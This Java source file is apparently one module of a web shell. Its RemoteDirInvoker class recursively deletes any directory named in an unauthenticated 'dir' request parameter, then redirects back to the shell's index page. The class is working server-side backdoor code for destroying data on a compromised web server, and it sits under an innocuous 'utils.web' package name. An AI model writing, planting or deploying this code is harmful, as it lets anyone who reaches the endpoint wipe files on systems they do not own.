package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.File;

public class RemoteDirInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return false;
    }

    public boolean doAfter() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            String dir = request.getParameter("dir");
            File file = new File(dir);
            if (file.exists()) {
                deleteFile(file);
                deleteDir(file);
            }

            session.setAttribute(MSG, "Remove Directory Success!");
            response.sendRedirect(SHELL_NAME + "?o=index");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }

    public void deleteFile(File f) {
        if (f.isFile()) {
            f.delete();
        } else {
            File[] list = f.listFiles();
            for (File ff : list) {
                deleteFile(ff);
            }
        }
    }

    public void deleteDir(File f) {
        File[] list = f.listFiles();
        if (list.length == 0) {
            f.delete();
        } else {
            for (File ff : list) {
                deleteDir(ff);
            }
            deleteDir(f);
        }
    }
}